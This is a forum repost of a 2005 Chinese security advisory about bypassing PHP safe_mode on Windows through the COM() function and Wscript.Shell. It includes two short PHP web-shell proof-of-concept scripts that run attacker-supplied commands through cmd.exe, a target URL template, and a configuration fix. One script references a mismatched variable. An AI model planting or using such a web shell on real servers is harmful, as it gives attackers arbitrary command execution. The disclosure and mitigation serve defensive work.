|
阅读:379回复:0
PHP COM组件调用绕过安全模式执行任意文件漏洞
PHP COM组件调用绕过安全模式执行任意文件漏洞
创建时间:2005-03-22 文章属性:原创 文章提交:kevin1986 (kevin7c2_at_yahoo.com.cn) 发现日期:2005-02-10 受影响的系统: Windows 下支持COM()函数的PHP版本 发现人: Saiy\我非我 From http://www.wrsky.com & kEvin1986 Saiy:dawangs_at_etang.com kEvin1986:Garnett1986_at_hotmail.com 我非我:wofeiwo_at_bugkidz.org 我非我: 描述: Windows平台下的PHP脚本平台存在一个安全漏洞,使得PHP设置即使在安全模式下(safe_mode),仍旧允许攻击者使用COM()函数来创建系统组件来执行任意命令. 漏洞出现的原因是由于在安全模式下的PHP平台虽然system();pathru()函数被禁止,但是com.allow_dcom的设置依旧是为 true.以至于攻击者可以使用COM()函数创建系统组件对象来运行系统命令.如果是默认的Apache设置或者Web服务器以 Loacalsystem权限或Administrators权限运行,攻击者可以使用这个漏洞来提升权限. 测试程序: ----------------------------------------------------------------- 警 告 以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负! /*需要Windows Script Host 5.6支持*/ <?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $phpexec=$phpwsh->exec("cmd.exe /c $cmd"); $execoutput=$wshexec->stdout(); $result=$execoutput->readall(); echo $result; ?> /*Windows Script Host 5.6以下版本支持*/ <?php $phpwsh=new COM("Wscript.Shell") or die("Create Wscript.Shell Failed!"); $phpwsh->run("cmd.exe /c $cmd > c:\\inetpub\\wwwroot\\result.txt"); ?> 将以上代码保存成*.php文件之后可以在浏览器中执行 http://www.target.com/simple.php?cmd=[Command] --------------------------------------------------------------- 补丁: 目前PHP官方未回复发现者的信件且未发布任何相关补丁. 建议: 在设置安全模式之后,将 com.allow_dcom=true 设置为 com.allow_dcom=false即可. 感谢: www.4ngel.net安全小组的积极测试. |
|
|